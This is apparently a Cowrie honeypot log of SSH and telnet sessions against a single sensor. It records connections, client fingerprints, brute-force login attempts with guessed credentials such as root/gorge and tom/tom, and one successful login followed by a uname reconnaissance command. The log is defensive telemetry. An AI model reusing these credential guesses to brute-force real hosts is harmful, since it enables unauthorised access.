{"eventid":"cowrie.session.connect","src_ip":"62.54.176.203","src_port":49052,"dst_ip":"159.203.135.109","dst_port":22,"session":"b8d178028663","protocol":"ssh","message":"New connection: 62.54.176.203:49052 (159.203.135.109:22) [session: b8d178028663]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:50.451423Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:50.455992Z","src_ip":"62.54.176.203","session":"b8d178028663","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:50.557645Z","src_ip":"62.54.176.203","session":"b8d178028663","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gorge","message":"login attempt [root/gorge] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:51.028913Z","src_ip":"62.54.176.203","session":"b8d178028663","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:51.250169Z","src_ip":"176.65.132.129","session":"ea2fb5404518","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:52.133593Z","src_ip":"62.54.176.203","session":"b8d178028663","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":39276,"dst_ip":"159.203.135.109","dst_port":22,"session":"628fdfd8ec2b","protocol":"ssh","message":"New connection: 176.65.132.129:39276 (159.203.135.109:22) [session: 628fdfd8ec2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:53.052804Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:53.058668Z","src_ip":"176.65.132.129","session":"628fdfd8ec2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:53.143564Z","src_ip":"176.65.132.129","session":"628fdfd8ec2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.32.240.31","src_port":47638,"dst_ip":"159.203.135.109","dst_port":22,"session":"05424ee75726","protocol":"ssh","message":"New connection: 101.32.240.31:47638 (159.203.135.109:22) [session: 05424ee75726]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:53.213494Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:53.218431Z","src_ip":"101.32.240.31","session":"05424ee75726","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":19.600523471832275,"message":"Connection lost after 19 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:53.255203Z","src_ip":"152.42.224.71","session":"1f6f66252465","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:53.464803Z","src_ip":"101.32.240.31","session":"05424ee75726","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"csgo","password":"csgo","message":"login attempt [csgo/csgo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:53.564197Z","src_ip":"176.65.132.129","session":"628fdfd8ec2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00199294090271,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:54.017454Z","src_ip":"152.42.224.71","session":"5fee685d43be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":36286,"dst_ip":"10.17.0.5","dst_port":22,"session":"61b3853ef336","protocol":"ssh","message":"New connection: 103.27.238.120:36286 (10.17.0.5:22) [session: 61b3853ef336]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:54.102182Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:54.107790Z","src_ip":"103.27.238.120","session":"61b3853ef336","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:54.368745Z","src_ip":"103.27.238.120","session":"61b3853ef336","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"history","message":"login attempt [root/history] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:54.484725Z","src_ip":"101.32.240.31","session":"05424ee75726","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:54.650542Z","src_ip":"176.65.132.129","session":"628fdfd8ec2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"assassins","message":"login attempt [root/assassins] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:55.152514Z","src_ip":"103.27.238.120","session":"61b3853ef336","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":88.82787442207336,"message":"Connection lost after 88 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:55.417173Z","src_ip":"152.42.224.71","session":"9b1f08263213","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:55.734890Z","src_ip":"101.32.240.31","session":"05424ee75726","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:56.416430Z","src_ip":"103.27.238.120","session":"61b3853ef336","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":40824,"dst_ip":"159.203.135.109","dst_port":22,"session":"160263c85d45","protocol":"ssh","message":"New connection: 176.65.132.129:40824 (159.203.135.109:22) [session: 160263c85d45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:56.444337Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:56.448856Z","src_ip":"176.65.132.129","session":"160263c85d45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:56.530654Z","src_ip":"176.65.132.129","session":"160263c85d45","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"tom","password":"tom","message":"login attempt [tom/tom] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:56.778130Z","src_ip":"176.65.132.129","session":"160263c85d45","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:56.992605Z","src_ip":"176.65.132.129","session":"160263c85d45","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:56.996136Z","src_ip":"176.65.132.129","session":"160263c85d45","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:57.081537Z","src_ip":"176.65.132.129","session":"160263c85d45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:57.086766Z","src_ip":"176.65.132.129","session":"160263c85d45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":40826,"dst_ip":"159.203.135.109","dst_port":22,"session":"4eda100ec767","protocol":"ssh","message":"New connection: 176.65.132.129:40826 (159.203.135.109:22) [session: 4eda100ec767]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:59.666133Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:59.671155Z","src_ip":"176.65.132.129","session":"4eda100ec767","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:59.756692Z","src_ip":"176.65.132.129","session":"4eda100ec767","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123","message":"login attempt [user/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:00.005177Z","src_ip":"176.65.132.129","session":"4eda100ec767","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":56126,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6c84dc461dc","protocol":"ssh","message":"New connection: 103.27.238.116:56126 (10.17.0.5:22) [session: c6c84dc461dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:00.189963Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:00.200109Z","src_ip":"103.27.238.116","session":"c6c84dc461dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:00.470376Z","src_ip":"103.27.238.116","session":"c6c84dc461dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:01.091838Z","src_ip":"176.65.132.129","session":"4eda100ec767","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rabbit","message":"login attempt [root/rabbit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:01.292574Z","src_ip":"103.27.238.116","session":"c6c84dc461dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:02.566148Z","src_ip":"103.27.238.116","session":"c6c84dc461dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":40830,"dst_ip":"159.203.135.109","dst_port":22,"session":"439a7a3b390b","protocol":"ssh","message":"New connection: 176.65.132.129:40830 (159.203.135.109:22) [session: 439a7a3b390b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:02.946173Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:03.066801Z","src_ip":"176.65.132.129","session":"439a7a3b390b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:03.070977Z","src_ip":"176.65.132.129","session":"439a7a3b390b","protocol":"ssh"}
